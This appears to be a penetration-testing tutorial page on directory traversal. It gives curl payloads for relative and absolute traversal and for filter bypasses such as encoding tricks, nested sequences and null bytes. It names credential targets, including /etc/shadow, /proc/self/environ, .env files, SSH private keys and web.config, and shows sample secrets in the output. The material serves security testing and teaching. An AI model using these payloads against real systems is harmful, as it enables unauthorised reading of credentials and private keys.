Skip to content

Directory Traversal Detection

7 min read Created Sep 13, 2026 Last updated Sep 13, 2026

Directory traversal reads files from the server filesystem by manipulating file path parameters. Unlike local file inclusion (LFI), which includes and executes a file through the application's interpreter (PHP include(), Python import), traversal reads raw file contents without execution. The distinction matters: traversal is language-agnostic and works against any application that passes user input into a filesystem read operation. LFI is a subset that additionally executes the included file, making it more dangerous in PHP and similar environments but limited to those runtimes. Both start the same way: finding a parameter that references a file path. For the closely related file inclusion detection techniques (LFI/RFI with encoding bypasses and automated fuzzing), and the full file inclusion exploitation chain (log poisoning, PHP wrappers, RCE), see the dedicated pages.

Identifying Suggestive Parameters

Look for parameters that likely map to filesystem paths. Common names include file, path, doc, document, download, img, image, template, page, load, resource, include, dir, folder, content, and view. Any parameter whose value looks like a filename or path segment deserves testing. Check both GET query parameters and POST body parameters. Also inspect cookie values and HTTP headers like X-Forwarded-File or custom application headers. Parameters with values like report.pdf, en/about, or images/logo.png are strong indicators.

Relative Path Traversal

Relative traversal uses ../ sequences to step out of the intended directory and reach files elsewhere on the filesystem. The number of ../ sequences needed depends on how deep the current working directory is. Using more sequences than necessary does not cause errors because the filesystem stops at the root directory. Start with a deep traversal and confirm the file reads correctly.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

If the application strips or blocks ../ literally, try URL-encoded variations. Single encoding (%2e%2e%2f or ..%2f) bypasses filters that check the raw string before URL decoding. Double encoding (%252e%252e%252f or ..%252f) works when the application decodes the input twice, which happens with certain proxy and framework configurations.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=..%2f..%2f..%2f..%2fetc%2fpasswd"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=..%252f..%252f..%252f..%252fetc%252fpasswd"

Absolute Path Traversal

Some applications do not restrict the parameter to a relative path. If the application reads whatever value you supply as a full filesystem path, no traversal sequences are needed. Supply the absolute path directly.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=C:\Windows\win.ini"
[fonts]
[extensions]
[mci extensions]
[files]

Filter Bypass Techniques

Applications commonly implement input filters to block traversal attempts. Each filter type has known bypasses.

Nested traversal defeats filters that strip ../ once without recursion. After the filter removes the inner ../, the remaining characters form a new ../ sequence.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=....//....//....//....//etc/passwd"

Null byte injection worked against older PHP versions (before 5.3.4) and some legacy applications. The null byte terminates the string in C-level filesystem functions, stripping any suffix the application appends (like .php or .png).

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=../../../etc/passwd%00.png"

Mixed encoding and path variations combine different encoding styles to evade pattern matching. Backslash substitution works on Windows where both / and \ are valid path separators. UTF-8 overlong encoding (%c0%ae for .) bypasses some WAF rules. Try all variations when basic traversal is blocked.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=..\..\..\..\windows\win.ini"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

OS-Specific Targets

After confirming traversal works, target files that yield actionable information. The files you read first depend on the target OS.

Linux Targets

/etc/passwd confirms the vulnerability and lists system users. /etc/shadow contains password hashes but requires root-level read access, which most web applications do not have. /proc/self/environ exposes environment variables for the web server process, often containing database credentials, API keys, and secret tokens. Application config files are the highest-value targets after confirming the vulnerability works.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=../../../proc/self/environ" | tr '\0' '\n'
PATH=/usr/local/sbin:/usr/local/bin
DB_HOST=localhost
DB_USER=app
DB_PASS=s3cr3t
SECRET_KEY=a1b2c3d4e5f6
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=../../../var/www/html/.env"
APP_KEY=base64:abc123...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=app
DB_USERNAME=root
DB_PASSWORD=p@ssw0rd

Other high-value Linux files: /etc/hosts (internal hostnames), /proc/self/cmdline (running process command line), /home/<user>/.ssh/id_rsa (SSH private keys), /var/log/apache2/access.log or /var/log/nginx/access.log (useful for log poisoning to LFI escalation), and /etc/apache2/sites-enabled/000-default.conf or /etc/nginx/sites-enabled/default (reveals document root paths and virtual host configurations).

Windows Targets

C:\Windows\win.ini is the standard proof-of-concept file for Windows traversal. C:\inetpub\wwwroot\web.config contains IIS application settings including database connection strings. C:\Windows\System32\drivers\etc\hosts reveals internal hostnames. C:\Users\<user>\.ssh\id_rsa may contain SSH keys if OpenSSH is installed.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=..\..\..\..\inetpub\wwwroot\web.config"
<connectionStrings>
  <add name="DB" connectionString="Data Source=db.internal;Initial Catalog=app;User ID=sa;Password=DBp@ss123" />
</connectionStrings>

Directory Listing

Misconfigured web servers expose directory contents when no index file exists. This is not traversal but provides similar information: filenames, backup files, configuration files, and application structure.

Apache enables it with Options +Indexes in .htaccess or the virtual host config. Nginx uses autoindex on in the location block. IIS has a "Directory Browsing" feature that can be enabled per-directory. Look for it on any path that returns an HTML page listing files rather than a 403 or custom error page.

Directory listing reveals backup files (.bak, .old, .swp), configuration files left in the webroot, source code archives (.zip, .tar.gz), and temporary files that developers forgot to remove. Each discovered file is a potential information disclosure or a starting point for further exploitation.

┌──(kali㉿kali)-[~]
└─$ for dir in / /images/ /uploads/ /backup/ /admin/ /config/ /includes/ /assets/ /static/; do code=$(curl -sk -o /dev/null -w '%{http_code}' "http://$TARGET_IP:$PORT$dir"); echo "$code $dir"; done
200 /
200 /images/
403 /uploads/
200 /backup/
403 /admin/
404 /config/
200 /includes/
200 /assets/
200 /static/
Explain command
-s Silent mode, suppress progress output.
-o /dev/null Discard response body, only check status.
-w '%{http_code}' Print only the HTTP status code.

A 200 response on a directory path that returns HTML with file listings confirms directory browsing is enabled. Manually inspect each 200 response to check whether it returns actual directory contents or a default page. Pay attention to 403 responses on /uploads/ and /admin/ as they confirm the directory exists even though listing is blocked.

References